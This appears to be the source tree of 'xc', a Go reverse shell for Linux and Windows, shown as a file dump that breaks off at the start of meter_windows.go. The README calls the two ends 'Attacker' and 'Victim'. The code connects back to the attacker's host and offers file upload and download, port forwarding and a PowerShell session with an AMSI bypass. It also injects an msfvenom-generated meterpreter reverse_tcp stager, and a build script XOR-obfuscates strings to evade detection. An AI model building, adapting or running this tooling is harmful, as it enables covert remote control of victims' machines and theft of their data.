├── .gitignore ├── .gitmodules ├── README.md ├── build.py ├── client ├── client.go ├── client_linux.go └── client_windows.go ├── files ├── keys │ └── .gitignore ├── sc │ └── meterlinux └── winssh │ └── sshd.exe ├── meter ├── meter_linux.go └── meter_windows.go ├── plugins └── plugins.go ├── server └── server.go ├── shell ├── api_linux.go ├── api_windows.go ├── shell_linux.go └── shell_windows.go ├── utils └── utils.go └── xc.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | xc 8 | xcc 9 | xcsc.b64 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | .vscode 20 | 21 | packrd 22 | plugins/* 23 | !plugins/plugins.go 24 | shell/keys.go 25 | meter/sc.go 26 | files/keys/* 27 | files/powershell/* -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "files/powershell/privesccheck"] 2 | path = files/powershell/privesccheck 3 | url = https://github.com/itm4n/PrivescCheck.git 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # XC 2 | 3 | Netcat like reverse shell for Linux & Windows. 4 | 5 | ## Features 6 | 7 | ### Windows 8 | 9 | ``` 10 | Usage: 11 | └ Shared Commands: !exit 12 | !upload 13 | * uploads a file to the target 14 | !download 15 | * downloads a file from the target 16 | !lfwd 17 | * local portforwarding (like ssh -L) 18 | !rfwd 19 | * remote portforwarding (like ssh -R) 20 | !lsfwd 21 | * lists active forwards 22 | !rmfwd 23 | * removes forward by index 24 | !plugins 25 | * lists available plugins 26 | !plugin 27 | * execute a plugin 28 | !spawn 29 | * spawns another client on the specified port 30 | !shell 31 | * runs /bin/sh 32 | !runas 33 | * restart xc with the specified user 34 | !met 35 | * connects to a x64/meterpreter/reverse_tcp listener 36 | └ OS Specific Commands: 37 | !powershell 38 | * starts powershell with AMSI Bypass 39 | !rc 40 | * connects to a local bind shell and restarts this client over it 41 | !runasps 42 | * restart xc with the specified user using powershell 43 | !vulns 44 | * checks for common vulnerabilities 45 | ``` 46 | 47 | ### Linux 48 | 49 | ``` 50 | Usage: 51 | └ Shared Commands: !exit 52 | !upload 53 | * uploads a file to the target 54 | !download 55 | * downloads a file from the target 56 | !lfwd 57 | * local portforwarding (like ssh -L) 58 | !rfwd 59 | * remote portforwarding (like ssh -R) 60 | !lsfwd 61 | * lists active forwards 62 | !rmfwd 63 | * removes forward by index 64 | !plugins 65 | * lists available plugins 66 | !plugin 67 | * execute a plugin 68 | !spawn 69 | * spawns another client on the specified port 70 | !shell 71 | * runs /bin/sh 72 | !runas 73 | * restart xc with the specified user 74 | !met 75 | * connects to a x64/meterpreter/reverse_tcp listener 76 | └ OS Specific Commands: 77 | !ssh 78 | * starts sshd with the configured keys on the specified port 79 | ``` 80 | 81 | ## Examples 82 | 83 | - Linux Attacker: `rlwrap xc -l -p 1337` (Server) 84 | - WindowsVictim : `xc.exe 10.10.14.4 1337` (Client) 85 | - Argumentless: `xc_10.10.14.4_1337.exe` (Client) 86 | 87 | ## Setup 88 | 89 | Make sure you are running golang version 1.15+, older versions will not compile. I tested it on ubuntu: `go version go1.16.2 linux/amd64` and kali `go version go1.15.9 linux/amd64` 90 | 91 | ``` 92 | git clone --recurse-submodules https://github.com/xct/xc.git 93 | 94 | GO111MODULE=off go get golang.org/x/sys/... 95 | GO111MODULE=off go get golang.org/x/text/encoding/unicode 96 | GO111MODULE=off go get github.com/hashicorp/yamux 97 | GO111MODULE=off go get github.com/libp2p/go-reuseport 98 | sudo apt-get install rlwrap upx 99 | ``` 100 | 101 | Linux: 102 | ``` 103 | python3 build.py 104 | ``` 105 | 106 | ## Credits 107 | 108 | * Included for Windows Clients: https://github.com/itm4n/PrivescCheck 109 | * Included for Windows Clients: https://github.com/PowerShell/Win32-OpenSSH -------------------------------------------------------------------------------- /build.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import base64 5 | import warnings 6 | import os 7 | import random 8 | import re 9 | import string 10 | import binascii 11 | import time 12 | warnings.filterwarnings("ignore", category=DeprecationWarning) 13 | 14 | key = os.urandom(32) 15 | def bake(data): 16 | temp = [] 17 | for i in range(0, len(data)): 18 | temp.append(data[i] ^ key[i % len(key)]) 19 | encrypted = bytes(temp) 20 | encoded = base64.b64encode(encrypted) 21 | return encoded 22 | 23 | if __name__ == "__main__": 24 | 25 | # clean & prep 26 | print("[+] Preparing Build...") 27 | os.system("rm files/keys/host* 2>/dev/null") 28 | os.system("rm files/keys/key* 2>/dev/null") 29 | os.system("mkdir -p files/keys 2>/dev/null") 30 | os.system("yes 'y' 2>/dev/null | ssh-keygen -t ed25519 -f files/keys/key -q -N \"\"") 31 | os.system("yes 'y' 2>/dev/null | ssh-keygen -f host_dsa -N '' -t dsa -f files/keys/host_dsa -q -N \"\"") 32 | os.system("yes 'y' 2>/dev/null | ssh-keygen -f host_rsa -N '' -t rsa -f files/keys/host_rsa -q -N \"\"") 33 | 34 | # set random version string 35 | os.system("cp xc.go /tmp/xc.go.bak") 36 | with open("xc.go") as f: 37 | gosrc = f.read() 38 | # static replacements 39 | gosrc = gosrc.replace('§version§',''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))) 40 | # dynamic replacements 41 | pattern = r"§(.*)§" 42 | matches = re.finditer(pattern, gosrc, re.MULTILINE) 43 | for matchNum, match in enumerate(matches, start=1): 44 | placeholder = match.group() 45 | gosrc = gosrc.replace(placeholder,bake(bytes(placeholder.replace('§',''), encoding='utf8')).decode()) 46 | with open("xc.go", "w") as f: 47 | f.write(gosrc) 48 | 49 | os.system("cp utils/utils.go /tmp/utils.go.bak") 50 | with open("utils/utils.go") as f: 51 | gosrc = f.read() 52 | gosrc = gosrc.replace('§key§',binascii.hexlify(key).decode()) 53 | with open("utils/utils.go", "w") as f: 54 | f.write(gosrc) 55 | 56 | # embed privesccheck & obfuscate strings 57 | os.system("cp client/client_windows.go /tmp/client_windows.go.bak") 58 | with open("client/client_windows.go", "r+") as f: 59 | gosrc = f.read() 60 | with open("files/powershell/privesccheck/PrivescCheck.ps1", "rb") as sf: 61 | scriptsrc = sf.read() 62 | encoded = base64.b64encode(scriptsrc) 63 | gosrc = gosrc.replace('§privesccheck§',bake(encoded).decode()) 64 | # dynamic replacements 65 | pattern = r"§(.*)§" 66 | matches = re.finditer(pattern, gosrc, re.MULTILINE) 67 | for matchNum, match in enumerate(matches, start=1): 68 | placeholder = match.group() 69 | gosrc = gosrc.replace(placeholder,bake(bytes(placeholder.replace('§',''), encoding='utf8')).decode()) 70 | with open("client/client_windows.go", "w") as f: 71 | f.write(gosrc) 72 | 73 | 74 | # obfuscate shell_windows 75 | os.system("cp shell/shell_windows.go /tmp/shell_windows.go.bak") 76 | with open("shell/shell_windows.go", "r+") as f: 77 | gosrc = f.read() 78 | # this one is not encrypted - it would be too slow 79 | with open("files/winssh/sshd.exe", "rb") as bf: 80 | bin = bf.read() 81 | encoded = base64.b64encode(bin) 82 | gosrc = gosrc.replace('§sshd.exe§',encoded.decode()) 83 | # dynamic replacements 84 | pattern = r"§(.*)§" 85 | matches = re.finditer(pattern, gosrc, re.MULTILINE) 86 | for matchNum, match in enumerate(matches, start=1): 87 | placeholder = match.group() 88 | gosrc = gosrc.replace(placeholder,bake(bytes(placeholder.replace('§',''), encoding='utf8')).decode()) 89 | with open("shell/shell_windows.go", "w") as f: 90 | f.write(gosrc) 91 | 92 | 93 | # obfuscate server 94 | os.system("cp server/server.go /tmp/server.go.bak") 95 | with open("server/server.go", "r+") as f: 96 | gosrc = f.read() 97 | # dynamic replacements 98 | pattern = r"§(.*)§" 99 | matches = re.finditer(pattern, gosrc, re.MULTILINE) 100 | for matchNum, match in enumerate(matches, start=1): 101 | placeholder = match.group() 102 | gosrc = gosrc.replace(placeholder,bake(bytes(placeholder.replace('§',''), encoding='utf8')).decode()) 103 | with open("server/server.go", "w") as f: 104 | f.write(gosrc) 105 | 106 | 107 | # embed keys 108 | with open("shell/keys.go", "w+") as f: 109 | f.write("package shell \n\n// autogenerated - do not modify\n\nconst (\n") 110 | for entry in os.scandir("files/keys"): 111 | f.write(entry.name.replace(".","_") + " = `") 112 | with open(entry.path, "r") as keyfile: 113 | content = keyfile.read() 114 | f.write(content) 115 | f.write("`\n") 116 | f.write(")\n") 117 | 118 | # embed linux meterpreter stager 119 | with open("meter/sc.go", "w+") as f: 120 | f.write("package meter \n\n// autogenerated - do not modify\n\nconst (\n") 121 | for entry in os.scandir("files/sc"): 122 | f.write(entry.name + " = \"") 123 | with open(entry.path, "rb") as scfile: 124 | content = scfile.read() 125 | enc = bake(content).decode() 126 | f.write(enc) 127 | f.write("\"\n") 128 | f.write(")\n") 129 | 130 | # embed windows ssh server 131 | 132 | 133 | # build 134 | print("[+] Building...") 135 | os.system("rm xc.exe xc 2>/dev/null") 136 | os.system('GOOS=windows GOARCH=amd64 GO111MODULE=off go build -ldflags="-s -w" -buildmode=pie -trimpath -o xc.exe xc.go') 137 | os.system('GOOS=linux GOARCH=amd64 GO111MODULE=off go build -ldflags="-s -w" -buildmode=pie -trimpath -o xc xc.go') 138 | #os.system("upx --ultra-brute xc.exe -o xcc.exe; rm xc.exe && mv xcc.exe xc.exe") 139 | #os.system("upx --ultra-brute xc.exe xc -o xcc; rm xc && mv xcc xc") 140 | 141 | # clean up 142 | print("[+] Cleaning up...") 143 | os.system("cp /tmp/xc.go.bak xc.go && rm /tmp/xc.go.bak") 144 | os.system("cp /tmp/utils.go.bak utils/utils.go && rm /tmp/utils.go.bak") 145 | os.system("cp /tmp/client_windows.go.bak client/client_windows.go && rm /tmp/client_windows.go.bak") 146 | os.system("cp /tmp/shell_windows.go.bak shell/shell_windows.go && rm /tmp/shell_windows.go.bak") 147 | os.system("cp /tmp/server.go.bak server/server.go && rm /tmp/server.go.bak") 148 | os.system("rm shell/keys.go meter/sc.go 2>/dev/null") 149 | print("[+] Done") 150 | 151 | # obfuscate 152 | -------------------------------------------------------------------------------- /client/client.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "log" 7 | "net" 8 | "os" 9 | "os/exec" 10 | "runtime" 11 | "strconv" 12 | "strings" 13 | "time" 14 | 15 | "../meter" 16 | "../plugins" 17 | "../shell" 18 | "../utils" 19 | "github.com/hashicorp/yamux" 20 | ) 21 | 22 | var activeForwards []utils.Forward 23 | var shellQuit chan bool 24 | var shellCmd *exec.Cmd 25 | var shellPipeReader *io.PipeReader 26 | var shellPipeWriter *io.PipeWriter 27 | 28 | // print usage that is shared between os clients 29 | func usage() string { 30 | usage := "Usage:\n" 31 | usage += "└ Shared Commands:" 32 | usage += " !exit\n" 33 | usage += " !upload \n" 34 | usage += " * uploads a file to the target\n" 35 | usage += " !download \n" 36 | usage += " * downloads a file from the target\n" 37 | usage += " !lfwd \n" 38 | usage += " * local portforwarding (like ssh -L)\n" 39 | usage += " !rfwd \n" 40 | usage += " * remote portforwarding (like ssh -R)\n" 41 | usage += " !lsfwd\n" 42 | usage += " * lists active forwards\n" 43 | usage += " !rmfwd \n" 44 | usage += " * removes forward by index\n" 45 | usage += " !plugins\n" 46 | usage += " * lists available plugins\n" 47 | usage += " !plugin \n" 48 | usage += " * execute a plugin\n" 49 | usage += " !spawn \n" 50 | usage += " * spawns another client on the specified port\n" 51 | usage += " !shell\n" 52 | usage += " * runs /bin/sh\n" 53 | usage += " !runas \n" 54 | usage += " * restart xc with the specified user\n" 55 | usage += " !met \n" 56 | usage += " * connects to a x64/meterpreter/reverse_tcp listener\n" 57 | usage += " !restart\n" 58 | usage += " * restarts the xc client\n" 59 | usage += "└ OS Specific Commands:" 60 | return usage 61 | } 62 | 63 | func handleSharedCommand(s *yamux.Session, c net.Conn, argv []string, usage string, homedir string) bool { 64 | handled := false 65 | switch argv[0] { 66 | case "!help": 67 | handled = true 68 | c.Write([]byte(usage)) 69 | prompt(c) 70 | case "!runas": 71 | handled = true 72 | if len(argv) != 4 { 73 | c.Write([]byte("Usage: !runas \n")) 74 | } else { 75 | shell.RunAs(argv[1], argv[2], argv[3], c) 76 | } 77 | prompt(c) 78 | case "!met": 79 | handled = true 80 | if len(argv) > 1 { 81 | port := argv[1] 82 | ip := strings.Split(c.RemoteAddr().String(), ":")[0] 83 | ok, err := meter.Connect(ip, port) 84 | if !ok { 85 | c.Write([]byte(err.Error() + "\n")) 86 | } 87 | } else { 88 | c.Write([]byte("Usage: met \n")) 89 | } 90 | prompt(c) 91 | case "!upload": 92 | handled = true 93 | if len(argv) == 3 { 94 | dst := argv[2] 95 | // from the clients perspective we are downloading a file 96 | utils.UploadConnect(dst, s) 97 | c.Write([]byte("[+] Upload complete\n")) 98 | } else { 99 | c.Write([]byte("Usage: !upload \n")) 100 | } 101 | prompt(c) 102 | case "!download": 103 | handled = true 104 | if len(argv) == 3 { 105 | src := argv[1] 106 | utils.DownloadConnect(src, s) 107 | c.Write([]byte("[+] Download complete\n")) 108 | } else { 109 | c.Write([]byte("Usage: !download \n")) 110 | } 111 | prompt(c) 112 | case "!lfwd": 113 | handled = true 114 | if len(argv) == 4 { 115 | lport := argv[1] 116 | raddr := argv[2] 117 | rport := argv[3] 118 | fwd := utils.Forward{lport, rport, raddr, make(chan bool), true, true} 119 | portAvailable := true 120 | for _, item := range activeForwards { 121 | if item.LPort == lport { 122 | portAvailable = false 123 | break 124 | } 125 | } 126 | if portAvailable { 127 | go lfwd(fwd, s, c) 128 | activeForwards = append(activeForwards, fwd) 129 | } 130 | } else { 131 | c.Write([]byte("Usage: !lfwd (opens local port)\n")) 132 | } 133 | prompt(c) 134 | case "!rfwd": 135 | handled = true 136 | if len(argv) == 4 { 137 | lport := argv[1] 138 | raddr := argv[2] 139 | rport := argv[3] 140 | fwd := utils.Forward{lport, rport, raddr, make(chan bool), false, true} 141 | 142 | portAvailable := true 143 | for _, item := range activeForwards { 144 | if item.LPort == lport { 145 | portAvailable = false 146 | break 147 | } 148 | } 149 | if portAvailable { 150 | go rfwd(fwd, s, c) 151 | activeForwards = append(activeForwards, fwd) 152 | } else { 153 | c.Write([]byte(fmt.Sprintf("Remote Port %s already in use.\n", lport))) 154 | } 155 | } 156 | prompt(c) 157 | case "!lsfwd": 158 | handled = true 159 | c.Write([]byte("Active Port Forwarding:\n")) 160 | index := 0 161 | remoteAddr := c.RemoteAddr().String() 162 | remoteAddr = remoteAddr[:strings.LastIndex(remoteAddr, ":")] 163 | localAddr := c.LocalAddr().String() 164 | localAddr = localAddr[:strings.LastIndex(localAddr, ":")] 165 | for _, v := range activeForwards { 166 | if v.Local { 167 | c.Write([]byte(fmt.Sprintf("[%d] Listening on %s:%s, Traffic redirect to %s (%s:%s)\n", index, remoteAddr, v.LPort, localAddr, v.Addr, v.RPort))) 168 | } else { 169 | c.Write([]byte(fmt.Sprintf("[%d] Listening on %s:%s, Traffic redirect to %s (%s:%s)\n", index, localAddr, v.LPort, remoteAddr, v.Addr, v.RPort))) 170 | } 171 | 172 | index++ 173 | } 174 | prompt(c) 175 | case "!rmfwd": 176 | handled = true 177 | if len(argv) == 2 { 178 | index, _ := strconv.Atoi(argv[1]) 179 | // remove index and stop forward 180 | forward := activeForwards[index] 181 | forward.Quit <- true 182 | activeForwards = append(activeForwards[:index], activeForwards[index+1:]...) 183 | } else { 184 | c.Write([]byte("Usage: !rmfwd \n")) 185 | } 186 | prompt(c) 187 | case "!shell": 188 | handled = true 189 | //log.Println("Entering shell") 190 | shellCmd = shell.Shell() 191 | shellPipeReader, shellPipeWriter = io.Pipe() 192 | shellCmd.Stdin = c 193 | shellCmd.Stdout = shellPipeWriter 194 | shellCmd.Stderr = shellPipeWriter 195 | go io.Copy(c, shellPipeReader) 196 | shellCmd.Start() 197 | shellCmd.Wait() 198 | //log.Println("Quitting shell (exit)") 199 | prompt(c) 200 | case "!plugins": 201 | handled = true 202 | out := "" 203 | for _, s := range plugins.List() { 204 | out += s 205 | out += ", " 206 | } 207 | if len(out) > 0 { 208 | out = out[:len(out)-2] + "\n" 209 | c.Write([]byte(out)) 210 | } 211 | prompt(c) 212 | case "!plugin": 213 | handled = true 214 | if len(argv) == 2 { 215 | pluginName := argv[1] 216 | plugins.Execute(pluginName, c) 217 | } else { 218 | c.Write([]byte("Usage: !plugin \n")) 219 | } 220 | prompt(c) 221 | case "!spawn": 222 | handled = true 223 | if len(argv) == 2 { 224 | port := argv[1] 225 | path := shell.CopySelf() 226 | ip, _ := utils.SplitAddress(c.RemoteAddr().String()) 227 | cmd := fmt.Sprintf("%s %s %s\r\n", path, ip, port) 228 | go shell.ExecSilent(cmd, c) 229 | } else { 230 | c.Write([]byte("Usage: !spawn \n")) 231 | } 232 | prompt(c) 233 | case "!exit": 234 | handled = true 235 | log.Println("Bye!") 236 | shell.Seppuku(c) 237 | os.Exit(0) 238 | case "cd": 239 | handled = true 240 | if len(argv) == 2 { 241 | dir := strings.ReplaceAll(argv[1], "~", homedir) 242 | err := os.Chdir(dir) 243 | if err != nil { 244 | c.Write([]byte("Unable to change dir: " + err.Error() + "\n")) 245 | } 246 | } else { 247 | c.Write([]byte("Usage: cd \n")) 248 | } 249 | prompt(c) 250 | case "!sigint": 251 | handled = true 252 | shellQuit <- true 253 | case "!debug": 254 | handled = true 255 | fmt.Printf("Active Goroutines: %d\n", runtime.NumGoroutine()) 256 | case "!restart": 257 | handled = true 258 | ip, port := utils.SplitAddress(c.RemoteAddr().String()) 259 | cmd := fmt.Sprintf("%s %s %s\r\n", os.Args[0], ip, port) 260 | go shell.ExecSilent(cmd, c) 261 | time.Sleep(1 * time.Second) 262 | c.Close() 263 | os.Exit(0) 264 | } 265 | return handled 266 | } 267 | 268 | // splitArgs 269 | func splitArgs(cmd string) []string { 270 | args := []string{} 271 | current := "" 272 | squote := 0 273 | dquote := 0 274 | last := "" 275 | for _, rune := range cmd { 276 | char := string(rune) 277 | if char == "'" && last != "\\" { 278 | squote++ 279 | if squote == 2 { 280 | squote = 0 281 | } 282 | } else if char == "\"" && last != "\\" { 283 | dquote++ 284 | if dquote == 2 { 285 | dquote = 0 286 | } 287 | } else if char == " " && squote == 0 && dquote == 0 && last != "\\" { 288 | args = append(args, current) 289 | current = "" 290 | } else { 291 | if char != "\\" || (last == "\\" && char == "\\") { 292 | current += char 293 | } 294 | last = char 295 | } 296 | } 297 | if len(args) == 0 { 298 | args = append(args, cmd) 299 | } else { 300 | args = append(args, current) 301 | } 302 | return args 303 | } 304 | 305 | func prompt(c net.Conn) { 306 | cwd, err := os.Getwd() 307 | if err != nil { 308 | cwd = "?" 309 | } 310 | fmt.Fprintf(c, fmt.Sprintf("[xc: %s]: ", cwd)) 311 | } 312 | 313 | func lfwd(fwd utils.Forward, s *yamux.Session, c net.Conn) { 314 | go func() { 315 | for { 316 | proxy, err := s.Accept() 317 | if err != nil { 318 | //log.Println(err) 319 | return 320 | } 321 | fwdCon, err := net.Dial("tcp", fmt.Sprintf("%s:%s", fwd.Addr, fwd.RPort)) 322 | if err != nil { 323 | //log.Println(err) 324 | return 325 | } 326 | defer fwdCon.Close() 327 | go utils.CopyIO(fwdCon, proxy) 328 | go utils.CopyIO(proxy, fwdCon) 329 | if !fwd.Active { 330 | return 331 | } 332 | } 333 | }() 334 | for { 335 | select { 336 | case <-fwd.Quit: 337 | fwd.Active = false 338 | return 339 | } 340 | } 341 | } 342 | 343 | // opens the listening socket on the client (remote) side 344 | func rfwd(fwd utils.Forward, session *yamux.Session, c net.Conn) { 345 | ln, err := net.Listen("tcp", fmt.Sprintf(":%s", fwd.LPort)) 346 | if err != nil { 347 | log.Println(err) 348 | return 349 | } 350 | go func() { 351 | for { 352 | // allow lots of connections on a port forward 353 | fwdCon, err := ln.Accept() 354 | if err == nil && fwdCon != nil { 355 | defer fwdCon.Close() 356 | if err != nil { 357 | log.Println(err) 358 | } 359 | proxy, err := session.Open() 360 | if err != nil { 361 | log.Println(err) 362 | } 363 | go utils.CopyIO(fwdCon, proxy) 364 | go utils.CopyIO(proxy, fwdCon) 365 | } 366 | if !fwd.Active { 367 | return 368 | } 369 | } 370 | }() 371 | // Block until exit signal (this is called as goroutine so its fine) 372 | for { 373 | select { 374 | case <-fwd.Quit: 375 | // force close the worker routine by closing the listener && preventing another accept 376 | fwd.Active = false 377 | ln.Close() 378 | return 379 | } 380 | } 381 | } 382 | -------------------------------------------------------------------------------- /client/client_linux.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net" 7 | "os/user" 8 | "strconv" 9 | 10 | "../plugins" 11 | "../shell" 12 | "github.com/hashicorp/yamux" 13 | ) 14 | 15 | var signalSession *yamux.Session 16 | 17 | // Run runs the mainloop of the shell 18 | func Run(s *yamux.Session, c net.Conn) { 19 | defer c.Close() 20 | 21 | // open 2nd channel 22 | signalSession, err := s.Accept() 23 | if err != nil { 24 | fmt.Println(err) 25 | } 26 | signalScanner := bufio.NewScanner(signalSession) 27 | 28 | scanner := bufio.NewScanner(c) 29 | usr, _ := user.Current() 30 | homedir := usr.HomeDir 31 | 32 | // init 33 | plugins.Init(c) 34 | prompt(c) 35 | 36 | go func() { 37 | for signalScanner.Scan() { 38 | command := signalScanner.Text() 39 | //fmt.Printf("Command %s\n", command) 40 | switch command { 41 | case "!sigint": 42 | if shellPipeReader != nil && shellPipeWriter != nil && shellCmd != nil { 43 | //log.Println("Quitting shell (Ctrl+C)") 44 | shellCmd.Process.Kill() 45 | shellPipeReader.Close() 46 | shellPipeWriter.Close() 47 | shellCmd = nil 48 | } 49 | default: 50 | // pass 51 | } 52 | } 53 | }() 54 | 55 | for scanner.Scan() { 56 | command := scanner.Text() 57 | if len(command) > 1 { 58 | argv := splitArgs(command) 59 | // we only handle commands here that do something on the client side 60 | // commands that are shared between different os 61 | help := usage() 62 | help += "\n" 63 | help += " !ssh \n" 64 | help += " * starts sshd with the configured keys on the specified port\n" 65 | handled := handleSharedCommand(s, c, argv, help, homedir) 66 | // os specific commands 67 | if !handled { 68 | switch argv[0] { 69 | case "!ssh": 70 | if len(argv) == 2 { 71 | port, err := strconv.Atoi(argv[1]) 72 | if err == nil { 73 | shell.StartSSHServer(port, c) 74 | } else { 75 | fmt.Println(err) 76 | } 77 | } else { 78 | c.Write([]byte("Usage: !ssh \n")) 79 | } 80 | prompt(c) 81 | default: 82 | shell.Exec(command, c) 83 | prompt(c) 84 | } 85 | } 86 | } else { 87 | prompt(c) 88 | } 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /client/client_windows.go: -------------------------------------------------------------------------------- 1 | package client 2 | 3 | import ( 4 | "bufio" 5 | "encoding/base64" 6 | "fmt" 7 | "io" 8 | "io/ioutil" 9 | //"log" 10 | "net" 11 | "os" 12 | //"syscall" 13 | "time" 14 | "strconv" 15 | 16 | "../plugins" 17 | "../shell" 18 | "../utils" 19 | "github.com/hashicorp/yamux" 20 | ) 21 | 22 | var assemblies = make(map[string][]byte) 23 | 24 | // Run runs the mainloop of the shell 25 | func Run(s *yamux.Session, c net.Conn) { 26 | defer c.Close() 27 | 28 | // open 2nd channel 29 | signalSession, err := s.Accept() 30 | if err != nil { 31 | fmt.Println(err) 32 | } 33 | signalScanner := bufio.NewScanner(signalSession) 34 | 35 | scanner := bufio.NewScanner(c) 36 | homedir, err := os.UserHomeDir() 37 | if err != nil { 38 | homedir = utils.Bake("§C:§") 39 | } 40 | // init 41 | plugins.Init(c) 42 | prompt(c) 43 | 44 | go func() { 45 | for signalScanner.Scan() { 46 | command := signalScanner.Text() 47 | //fmt.Printf("Command %s\n", command) 48 | switch command { 49 | case utils.Bake("§!sigint§"): 50 | if shellPipeReader != nil && shellPipeWriter != nil && shellCmd != nil { 51 | //log.Println("Quitting shell (Ctrl+C)") 52 | shellCmd.Process.Kill() 53 | shellPipeReader.Close() 54 | shellPipeWriter.Close() 55 | shellCmd = nil 56 | } 57 | default: 58 | // pass 59 | } 60 | } 61 | }() 62 | 63 | for scanner.Scan() { 64 | command := scanner.Text() 65 | if len(command) > 1 { 66 | argv := splitArgs(command) 67 | // we only handle commands here that do something on the client side 68 | // commands that are shared between different os 69 | help := usage() 70 | help += "\n" 71 | help += utils.Bake("§ !powershell§")+ "\n" 72 | help += utils.Bake("§ * starts powershell with AMSI Bypass§")+ "\n" 73 | help += utils.Bake("§ !rc §")+ "\n" 74 | help += utils.Bake("§ * connects to a local bind shell and restarts this client over it§")+ "\n" 75 | help += utils.Bake("§ !runasps §")+ "\n" 76 | help += utils.Bake("§ * restart xc with the specified user using powershell§")+ "\n" 77 | help += utils.Bake("§ !vulns\n§") 78 | help += utils.Bake("§ * checks for common vulnerabilities§")+ "\n" 79 | help += utils.Bake("§ !ssh \n§") 80 | help += utils.Bake("§ * start ssh server on the specified port§")+ "\n" 81 | 82 | handled := handleSharedCommand(s, c, argv, help, homedir) 83 | // os specific commands 84 | if !handled { 85 | switch argv[0] { 86 | case utils.Bake("§!vulns§"): 87 | privescCheck := utils.Bake("§privesccheck§") // static replacement 88 | path := utils.Bake(`§\windows\temp\rechteausweitung.ps1§`) 89 | decodedScript, _ := base64.StdEncoding.DecodeString(privescCheck) 90 | ioutil.WriteFile(path, []byte(decodedScript), 0644) 91 | out, _ := shell.ExecPSOutNoAMSI(fmt.Sprintf(utils.Bake("§. %s;Invoke-PrivescCheck -Extended§"), path)) 92 | c.Write([]byte(out)) 93 | os.Remove(path) 94 | prompt(c) 95 | case utils.Bake("§!runasps§"): 96 | if len(argv) != 4 { 97 | c.Write([]byte("§Usage: !runas §"+ "\n")) 98 | } else { 99 | shell.RunAsPS(argv[1], argv[2], argv[3], c) 100 | } 101 | prompt(c) 102 | case utils.Bake("§!powershell§"): 103 | handled = true 104 | //log.Println("Entering PowerShell") 105 | shellCmd, _ = shell.Powershell() 106 | shellPipeReader, shellPipeWriter = io.Pipe() 107 | shellCmd.Stdin = c 108 | shellCmd.Stdout = shellPipeWriter 109 | shellCmd.Stderr = shellPipeWriter 110 | go io.Copy(c, shellPipeReader) 111 | shellCmd.Start() 112 | shellCmd.Wait() 113 | //log.Println("Exiting PowerShell (exit)") 114 | prompt(c) 115 | case utils.Bake("§!ssh§"): 116 | if len(argv) == 2 { 117 | port, err := strconv.Atoi(argv[1]) 118 | if err == nil { 119 | shell.StartSSHServer(port, c) 120 | } else { 121 | fmt.Println(err) 122 | } 123 | } else { 124 | c.Write([]byte("Usage: !ssh \n")) 125 | } 126 | prompt(c) 127 | case utils.Bake("§!rc§"): 128 | if len(argv) == 2 { 129 | rPort := argv[1] 130 | lIP, lPort := utils.SplitAddress(c.RemoteAddr().String()) 131 | err := rc(lIP, lPort, rPort) 132 | if err == nil { 133 | // no error, this shell should restart in a new user context 134 | return 135 | } 136 | } else { 137 | c.Write([]byte(utils.Bake("§Usage: !rc §")+"\n")) 138 | } 139 | prompt(c) 140 | default: 141 | shell.Exec(command, c) 142 | prompt(c) 143 | } 144 | } 145 | } else { 146 | prompt(c) 147 | } 148 | } 149 | } 150 | 151 | func rc(lIP string, lPort string, rPort string) error { 152 | conn, err := net.Dial("tcp", fmt.Sprintf("127.0.0.1:%s", rPort)) 153 | if err != nil { 154 | return err 155 | } 156 | path := shell.CopySelf() 157 | cmd := fmt.Sprintf(utils.Bake("§c:\\windows\\system32\\cmd.exe /c§") + " %s %s %s\r\n", path, lIP, lPort) 158 | conn.Write([]byte(cmd)) 159 | time.Sleep(5000 * time.Millisecond) 160 | conn.Close() 161 | return nil 162 | } -------------------------------------------------------------------------------- /files/keys/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore everything in this directory 2 | * 3 | # Except this file 4 | !.gitignore -------------------------------------------------------------------------------- /files/sc/meterlinux: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xct/xc/a08c76653f760ca65e6d842da4c7a0b083faf571/files/sc/meterlinux -------------------------------------------------------------------------------- /files/winssh/sshd.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xct/xc/a08c76653f760ca65e6d842da4c7a0b083faf571/files/winssh/sshd.exe -------------------------------------------------------------------------------- /meter/meter_linux.go: -------------------------------------------------------------------------------- 1 | package meter 2 | 3 | import ( 4 | "encoding/binary" 5 | "math/big" 6 | "net" 7 | "strconv" 8 | 9 | "../shell" 10 | "../utils" 11 | ) 12 | 13 | // IP4toInt ... 14 | func IP4toInt(IPv4Address net.IP) int64 { 15 | IPv4Int := big.NewInt(0) 16 | IPv4Int.SetBytes(IPv4Address.To4()) 17 | return IPv4Int.Int64() 18 | } 19 | 20 | // Connect to meterpreter listener 21 | func Connect(ip string, port string) (bool, error) { 22 | 23 | // for now we run the actual msfvenom generated stager because doing it dynamically fails for some unknown reason 24 | // shellcode generated via: msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw & encrypted with static key in utils 25 | portBytes := make([]byte, 2) 26 | portInt, _ := strconv.Atoi(port) 27 | binary.BigEndian.PutUint16(portBytes, uint16(portInt)) 28 | ipBytes := make([]byte, 4) 29 | binary.BigEndian.PutUint32(ipBytes, uint32(IP4toInt(net.ParseIP(ip)))) 30 | 31 | sc := utils.BBake(meterlinux) 32 | copy(sc[56:], portBytes) //"\x11\x5c" 4444 33 | copy(sc[58:], ipBytes) //"\x7f\x00\x00\x01" 127.0.0.1 34 | 35 | go shell.ExecSC([]byte(sc)) 36 | return true, nil 37 | } 38 | -------------------------------------------------------------------------------- /meter/meter_windows.go: -------------------------------------------------------------------------------- 1 | package meter 2 | 3 | import ( 